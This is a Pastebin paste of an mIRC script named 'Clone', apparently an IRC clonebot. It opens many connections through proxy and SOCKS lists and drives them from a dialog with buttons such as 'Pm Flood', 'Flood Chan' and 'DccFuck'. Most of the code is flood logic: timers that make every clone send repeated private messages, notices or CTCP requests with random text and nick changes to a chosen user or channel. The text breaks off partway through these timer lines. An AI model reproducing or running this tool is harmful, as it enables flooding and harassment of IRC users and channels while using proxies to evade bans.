API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Jul 20th, 2017
479
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 42.27 KB | None | 0 0
raw download clone embed print report
  1. menu menubar,status,channel {
  2. -
  3. CloneScript:/Dialog -md Clone Clone
  4.  
  5. }
  6.  
  7. dialog Clone {
  8. title "Clone"
  9. size -1 -1 577 502
  10. option pixels
  11. tab "Settings", 75, 8 8 559 463
  12. box "Server and Connections", 1, 16 33 348 78, tab 75
  13. edit "", 2, 66 53 218 21, tab 75 autohs
  14. text "Server:", 3, 24 57 34 16, tab 75
  15. edit "", 4, 312 53 44 21, tab 75 limit 5
  16. text "Port:", 100, 288 57 22 16, tab 75
  17. text "Protocol:", 5, 24 83 42 16, tab 75
  18. combo 6, 66 80 80 114, tab 75 size drop
  19. text "Connections:", 9, 156 83 66 16, tab 75
  20. edit "1", 10, 219 80 44 21, tab 75 limit 4
  21. check "CTCP Replies", 81, 276 82 80 20, tab 75
  22. box "Debug", 89, 16 115 348 44, tab 75
  23. radio "Debug OFF", 88, 24 132 71 20, group tab 75
  24. radio "Debug ON", 87, 143 132 66 20, tab 75
  25. check "Hide Server Pings", 86, 256 132 102 20, tab 75
  26. box "Nickname and Real Name", 8, 16 163 348 124, tab 75
  27. radio "Random", 11, 24 179 58 20, group tab 75
  28. radio "Nicklist:", 12, 24 203 54 20, tab 75
  29. radio "Other:", 13, 24 227 54 20, tab 75
  30. edit "", 14, 80 203 204 20, tab 75 autohs
  31. edit "", 15, 80 227 204 20, disable tab 75 limit 10
  32. button "&Browse", 16, 288 203 68 20, tab 75
  33. text "Real Name:", 82, 24 259 56 16, tab 75
  34. edit "", 85, 80 257 204 21, tab 75 autohs limit 70
  35. box "On Connect", 7, 16 291 348 169, tab 75
  36. text "UserMode:", 17, 24 315 50 16, tab 75
  37. edit "+i", 18, 80 312 60 20, tab 75
  38. edit "", 19, 24 355 332 97, tab 75 multi return autohs autovs
  39. text "Raw IRC Commands:", 20, 24 339 106 16, tab 75
  40. box "Proxy/Socks List", 26, 371 33 188 427, tab 75
  41. text "Host:", 27, 379 56 26 16, tab 75
  42. text "Port:", 28, 379 80 26 16, tab 75
  43. edit "", 29, 411 53 140 20, tab 75 limit 15
  44. edit "", 30, 411 77 140 20, tab 75 limit 5
  45. button "Add", 31, 379 152 83 20, tab 75
  46. button "Remove", 32, 468 152 83 20, tab 75
  47. button "Import File", 33, 379 176 83 20, tab 75
  48. button "Clipboard", 83, 468 176 83 20, tab 75
  49. list 34, 379 200 172 210, tab 75 size
  50. text "Number of Proxies:", 101, 379 414 93 12, tab 75
  51. text "0", 102, 476 414 25 12, tab 75
  52. button "Remove All", 35, 379 431 172 22, tab 75
  53. edit "", 112, 375 104 178 21, tab 75
  54. button "Browse", 113, 423 128 75 20, tab 75
  55. tab "Actions", 76
  56. box "Nicklist", 37, 16 33 156 363, tab 76
  57. list 38, 24 49 140 315, tab 76 size extsel
  58. box "Flood", 92, 179 119 380 96, tab 76
  59. button "Flood", 55, 187 135 67 21, disable tab 76
  60. text "No.Sends:", 116, 260 139 50 20, tab 76
  61. edit "", 117, 310 135 32 21, tab 76 autohs
  62. text "Delay(secs):", 94, 354 139 60 20, tab 76
  63. edit "", 95, 414 135 32 21, tab 76 autohs
  64. text "Repeat every(secs):", 98, 458 131 60 28, tab 76
  65. edit "", 99, 519 135 32 21, tab 76 autohs
  66. combo 91, 187 162 67 75, tab 76 size drop
  67. edit "", 56, 259 162 84 21, tab 76 autohs
  68. edit "", 57, 347 162 204 21, tab 76 autohs
  69. check "Msg+Change Nick 3 times", 96, 188 190 140 20, tab 76
  70. check "Random Text", 97, 363 190 82 20, tab 76
  71. button "Halt Flood", 93, 484 189 67 21, tab 76
  72. box "Other", 90, 179 219 380 241, tab 76
  73. button "Join", 41, 187 235 67 21, disable tab 76
  74. edit "", 42, 259 235 84 21, tab 76 autohs
  75. button "Part", 43, 187 259 67 21, disable tab 76
  76. edit "", 44, 259 259 84 21, tab 76 autohs
  77. edit "", 45, 347 259 204 21, tab 76 autohs
  78. button "Join Part", 46, 187 283 67 21, disable tab 76
  79. edit "", 47, 259 283 84 21, tab 76 autohs
  80. edit "", 48, 347 283 204 21, tab 76 autohs
  81. button "Message", 49, 187 307 67 21, disable tab 76
  82. edit "", 50, 259 307 84 21, tab 76 autohs
  83. edit "", 51, 347 307 204 21, tab 76 autohs
  84. button "Notice", 52, 187 331 67 21, disable tab 76
  85. edit "", 53, 259 331 84 21, tab 76 autohs
  86. edit "", 54, 347 331 204 21, tab 76 autohs
  87. button "CTCP", 58, 187 355 67 21, disable tab 76
  88. edit "", 59, 259 355 84 21, tab 76 autohs
  89. combo 60, 347 355 204 76, tab 76 size edit drop
  90. button "DCC Send", 61, 187 379 67 21, disable tab 76
  91. edit "", 62, 259 379 84 21, tab 76 autohs
  92. edit "", 63, 347 379 204 21, tab 76 autohs
  93. button "DCC Chat", 64, 187 403 67 21, disable tab 76
  94. edit "", 65, 259 403 84 21, tab 76 autohs
  95. button "Raw", 73, 187 427 67 21, disable tab 76
  96. edit "", 74, 259 427 292 25, tab 76 multi return autohs autovs vsbar
  97. box "Nick", 36, 179 33 380 82, tab 76
  98. button "Nick", 66, 187 65 67 20, tab 76
  99. radio "Nicklist:", 68, 259 65 54 20, tab 76
  100. radio "Other:", 69, 259 88 54 20, tab 76
  101. edit "", 71, 315 88 164 20, disable tab 76 limit 10
  102. radio "Random", 67, 259 42 58 20, tab 76
  103. button "Browse", 72, 484 65 67 20, disable tab 76
  104. edit "", 70, 315 65 164 20, disable tab 76 autohs
  105. text "Perform:", 39, 24 372 42 16, tab 76
  106. combo 40, 72 368 92 60, tab 76 size drop
  107. box "Statistics", 21, 16 400 156 60, tab 76
  108. text "Total Connections:", 23, 24 436 92 16, tab 76
  109. text "Connected Clones:", 22, 24 420 92 16, tab 76
  110. text "0", 24, 120 420 42 16, tab 76
  111. text "0", 25, 120 436 42 16, tab 76
  112. tab "Others", 103
  113. button "DccFuck", 104, 16 40 75 20, tab 103
  114. edit "", 105, 96 40 169 21, tab 103 autohs
  115. button "Reg Nick", 106, 16 64 75 20, tab 103
  116. button "Drop Nick", 107, 16 88 75 20, tab 103
  117. button "Pm Flood", 108, 16 112 75 20, tab 103
  118. button "Flood Chan", 109, 15 135 75 20, tab 103
  119. edit "#channel", 110, 96 135 169 21, tab 103 autohs
  120. edit "Target", 111, 95 111 169 21, tab 103 autohs
  121. button "&Connect", 77, 8 472 83 25
  122. button "&Disconnect", 78, 96 472 83 25
  123. button "&Exit", 79, 488 472 81 25
  124. button "Connected Proxies", 80, 371 472 112 25
  125. button "Close Sockets", 84, 184 472 83 25
  126. }
  127.  
  128. On *:Dialog:Clone:Init:*: {
  129. Did -a $DName 6 Normal
  130. Did -a $DName 6 Proxy
  131. Did -a $DName 6 Socks4
  132. Did -a $DName 6 Socks5
  133. Did -a $DName 6 Socks4&5
  134. Did -c $DName 6 5
  135. Did -a $DName 40 All
  136. Did -a $DName 40 Selected
  137. Did -c $DName 40 1
  138. Did -a $DName 60 PING
  139. Did -a $DName 60 TIME
  140. Did -a $DName 60 VERSION
  141. Did -c $DName 12
  142. Did -c $DName 67
  143. Did -c $DName 86
  144. Did -c $DName 88
  145. Did -a $DName 91 CTCP
  146. Did -a $DName 91 NOTICE
  147. Did -a $DName 91 PRIVMSG
  148. Did -c $DName 91 1
  149. Did -a $DName 2 $serverip
  150. Did -a $DName 4 $port
  151. Did -ra $DName 14 %cnicksdir
  152. did -ra $dname 112 %proxylist | plist
  153. }
  154.  
  155. on *:DIALOG:Clone:sclick:104:{ cdccfuck $did(105) }
  156. on *:DIALOG:Clone:sclick:106:{ creg }
  157. on *:DIALOG:Clone:sclick:107:{ cdrop }
  158. on *:DIALOG:Clone:sclick:108:{ startflood | startflood | startflood | startflood | startflood }
  159.  
  160. On *:Dialog:Clone:Edit:*: {
  161. If ($Did == 42) {
  162. If ($Left($Did(42),1) == $Chr(35)) && ($Count($Did(42),$Chr(32)) <= 1) { Did -e $DName 41 }
  163. Else { Did -b $DName 41 }
  164. }
  165. If ($Did == 44) {
  166. If ($Left($Did(44),1) == $Chr(35)) && ($Count($Did(44),$Chr(32)) == 0) { Did -e $DName 43 }
  167. Else { Did -b $DName 43 }
  168. }
  169. If ($Did == 47) {
  170. If ($Left($Did(47),1) == $Chr(35)) && ($Count($Did(47),$Chr(32)) == 0) { Did -e $DName 46 }
  171. Else { Did -b $DName 46 }
  172. }
  173. If ($Did == 50) {
  174. If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 }
  175. Else { Did -b $DName 49 }
  176. }
  177. If ($Did == 51) {
  178. If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 }
  179. Else { Did -b $DName 49 }
  180. }
  181. If ($Did == 53) {
  182. If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(53)) >= 1) && ($Did(54)) { Did -e $DName 52 }
  183. Else { Did -b $DName 52 }
  184. }
  185. If ($Did == 54) {
  186. If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(54)) { Did -e $DName 52 }
  187. Else { Did -b $DName 52 }
  188. }
  189. If ($Did == 56) && ($Did(96).State == 1) && ($Did(97).State == 1) {
  190. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
  191. Else { Did -b $DName 55 }
  192. }
  193. If ($Did == 95) && ($Did(96).State == 1) && ($Did(97).State == 1) {
  194. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
  195. Else { Did -b $DName 55 }
  196. }
  197. If ($Did == 99) && ($Did(96).State == 1) && ($Did(97).State == 1) {
  198. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
  199. Else { Did -b $DName 55 }
  200. }
  201. If ($Did == 56) && ($Did(96).State == 1) && ($Did(97).State == 0) {
  202. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
  203. Else { Did -b $DName 55 }
  204. }
  205. If ($Did == 57) && ($Did(96).State == 1) && ($Did(97).State == 0) {
  206. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
  207. Else { Did -b $DName 55 }
  208. }
  209. If ($Did == 95) && ($Did(96).State == 1) && ($Did(97).State == 0) {
  210. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
  211. Else { Did -b $DName 55 }
  212. }
  213. If ($Did == 99) && ($Did(96).State == 1) && ($Did(97).State == 0) {
  214. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
  215. Else { Did -b $DName 55 }
  216. }
  217. If ($Did == 56) && ($Did(96).State == 0) && ($Did(97).State == 1) {
  218. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
  219. Else { Did -b $DName 55 }
  220. }
  221. If ($Did == 95) && ($Did(96).State == 0) && ($Did(97).State == 1) {
  222. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
  223. Else { Did -b $DName 55 }
  224. }
  225. If ($Did == 117) && ($Did(96).State == 0) && ($Did(97).State == 1) {
  226. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
  227. Else { Did -b $DName 55 }
  228. }
  229. If ($Did == 56) && ($Did(96).State == 0) && ($Did(97).State == 0) {
  230. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
  231. Else { Did -b $DName 55 }
  232. }
  233. If ($Did == 57) && ($Did(96).State == 0) && ($Did(97).State == 0) {
  234. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
  235. Else { Did -b $DName 55 }
  236. }
  237. If ($Did == 95) && ($Did(96).State == 0) && ($Did(97).State == 0) {
  238. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
  239. Else { Did -b $DName 55 }
  240. }
  241. If ($Did == 117) && ($Did(96).State == 0) && ($Did(97).State == 0) {
  242. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
  243. Else { Did -b $DName 55 }
  244. }
  245. If ($Did == 59) {
  246. If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
  247. Else { Did -b $DName 58 }
  248. }
  249. If ($Did == 60) {
  250. If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
  251. Else { Did -b $DName 58 }
  252. }
  253. If ($Did == 62) {
  254. If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 }
  255. Else { Did -b $DName 61 }
  256. }
  257. If ($Did == 63) {
  258. If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 }
  259. Else { Did -b $DName 61 }
  260. }
  261. If ($Did == 65) {
  262. If ($Count($Did(65),$Chr(32)) == 0) && ($Len($Did(65)) >= 1) && ($Left($Did(65),1) != $Chr(35)) { Did -e $DName 64 }
  263. Else { Did -b $DName 64 }
  264. }
  265. If ($Did == 74) {
  266. If ($Len($Did(74)) >= 1) { Did -e $DName 73 }
  267. Else { Did -b $DName 73 }
  268. }
  269. If ($Did == 70) {
  270. If ($Did(70)) { Did -e $DName 66 }
  271. Else { Did -b $DName 66 }
  272. }
  273. If ($Did == 71) {
  274. If ($Did(71)) { Did -e $DName 66 }
  275. Else { Did -b $DName 66 }
  276. }
  277. }
  278.  
  279. On *:Dialog:Clone:Close:*: {
  280. SockClose Clone.*
  281. }
  282.  
  283. Alias Clone.Error { Var %E = $Input($1-,o,Clone) }
  284.  
  285. Alias Clone.RandomText {
  286. var %words = $rand(1,10), %r1
  287. while (%words) {
  288. var %letters = $rand(1,10), %r2
  289. while (%letters) {
  290. var %r2 = %r2 $+ $rand(a,z)
  291. dec %letters
  292. }
  293. var %r1 = %r1 %r2
  294. dec %words
  295. }
  296. return %r1
  297. }
  298.  
  299. Alias genVars {
  300. var %i = $Did(Clone,38,0).sel, %t = 0, %n, %all
  301. while (%i) {
  302. var %x = 1
  303. while ($sock(Clone.*,%x) && $sock(Clone.*,%x).mark != $did(clone,38,$did(Clone,38,%i).sel).text) { inc %x }
  304. if ($sock(Clone.*,%x).mark == $did(clone,38,$did(Clone,38,%i).sel).text) { var %n = $sock(Clone.*,%x) }
  305. if ($calc($len(%n) + 1 + $len(%all)) > 900) {
  306. set -e %botnicklistvariable. [ $+ [ $1 ] $+ ] - [ $+ [ %t ] ] %all
  307. inc %t
  308. var %all
  309. }
  310. var %all = $addtok(%all,%n,32)
  311. dec %i
  312. }
  313. set -e %botnicklistvariable. [ $+ [ $1 ] $+ ] - [ $+ [ %t ] ] %all
  314. }
  315.  
  316. Alias Clone.Actions {
  317. If ($1 == :KEY:) {
  318. var %key = $2
  319. tokenize 32 $3-
  320. }
  321. If ($1 == All) {
  322. Var %I = 1
  323. While ($Sock(Clone.*,%I)) {
  324. If ($2 == JOINPART) { SockWrite -nt $Sock(Clone.*,%I) JOIN $3 | SockWrite -nt $Sock(Clone.*,%I) PART $3- }
  325. ElseIf ($2 == RAW) { SockWrite -nt $Sock(Clone.*,%I) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%I))) }
  326. ElseIf ($2 == NICK) {
  327. If ($Did(Clone,67).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Lower($Clone.RandNick($Rand(5,7))) }
  328. If ($Did(Clone,68).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Gettok($Read($Did(Clone,70)),1,32) }
  329. If ($Did(Clone,69).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Did(Clone,71) $+ $Clone.RandNick(2) }
  330. }
  331. Else { SockWrite -nt $Sock(Clone.*,%I) $2- }
  332. Inc %I
  333. }
  334. }
  335. If ($1 == Selected) {
  336. If (!%key) return
  337. var %s = $+($chr(37),botnicklistvariable.,%key,-,*),%j = $Sock(Clone.*,0)
  338. While (%j) {
  339. var %i = $var($eval(%s,1),0)
  340. while (%i) {
  341. If ($istok($eval($var($eval(%s,1),%i),2),$Sock(Clone.*,%J),32)) {
  342. If ($2 == JOINPART) { SockWrite -nt $Sock(Clone.*,%J) JOIN $3 | SockWrite -nt $Sock(Clone.*,%J) PART $3- }
  343. ElseIf ($2 == RAW) { SockWrite -nt $Sock(Clone.*,%J) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%J))) }
  344. ElseIf ($2 == NICK) {
  345. If ($Did(Clone,67).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Lower($Clone.RandNick($Rand(5,7))) }
  346. If ($Did(Clone,68).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Gettok($Read($Did(Clone,70)),1,32) }
  347. If ($Did(Clone,69).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Did(Clone,71) $+ $Clone.RandNick(2) }
  348. }
  349. Else { SockWrite -nt $Sock(Clone.*,%J) $2- }
  350. }
  351. Dec %I
  352. }
  353. Dec %J
  354. }
  355. }
  356. }
  357.  
  358. Alias Clone.Flood {
  359. var %key = $left($md5($ticks),10)
  360. genVars %key
  361. If ($Did(91) == CTCP) && ($Did(99) isnum) {
  362. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $+ 
  363. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) { .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $did(Clone,117) $did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $+  }
  364. }
  365. If ($Did(91) == CTCP) && ($Did(99) !isnum) {
  366. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $+ 
  367. }
  368. If ($Did(91) == NOTICE) && ($Did(99) isnum) {
  369. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NOTICE $Did(Clone,56) : $+ $did(Clone,57)
  370. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) { .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $did(Clone,117) $did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NOTICE $Did(Clone,56) : $+ $did(Clone,57) }
  371. }
  372. If ($Did(91) == NOTICE) && ($Did(99) !isnum) {
  373. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NOTICE $Did(Clone,56) : $+ $did(Clone,57)
  374. }
  375. If ($Did(91) == PRIVMSG) && ($Did(99) isnum) && ($Did(96).State == 0) && ($Did(97).State == 0) {
  376. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
  377. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) { .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $did(Clone,117) $did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) }
  378. }
  379. If ($Did(91) == PRIVMSG) && ($Did(99) !isnum) && ($Did(96).State == 0) && ($Did(97).State == 0) {
  380. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
  381. }
  382. If ($Did(91) == PRIVMSG) && ($Did(99) isnum) && ($Did(96).State == 0) && ($Did(97).State == 1) {
  383. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
  384. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) { .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $did(Clone,117) $did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0) }
  385. }
  386. If ($Did(91) == PRIVMSG) && ($Did(99) !isnum) && ($Did(96).State == 0) && ($Did(97).State == 1) {
  387. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
  388. }
  389. If ($Did(91) == PRIVMSG) && ($Did(96).State == 1) && ($Did(97).State == 0) {
  390. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 0 Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
  391. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  392. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 2) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
  393. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 3) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  394. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 4) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
  395. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 5) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  396. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 0 Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
  397. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  398. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 2) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
  399. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 3) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  400. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 4) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
  401. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 5) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  402. }
  403. If ($Did(91) == PRIVMSG) && ($Did(96).State == 1) && ($Did(97).State == 1) {
  404. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 0 Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
  405. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  406. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 2) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
  407. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 3) Clone.Actions :KEY: %key $Did(Clone,40) NICK
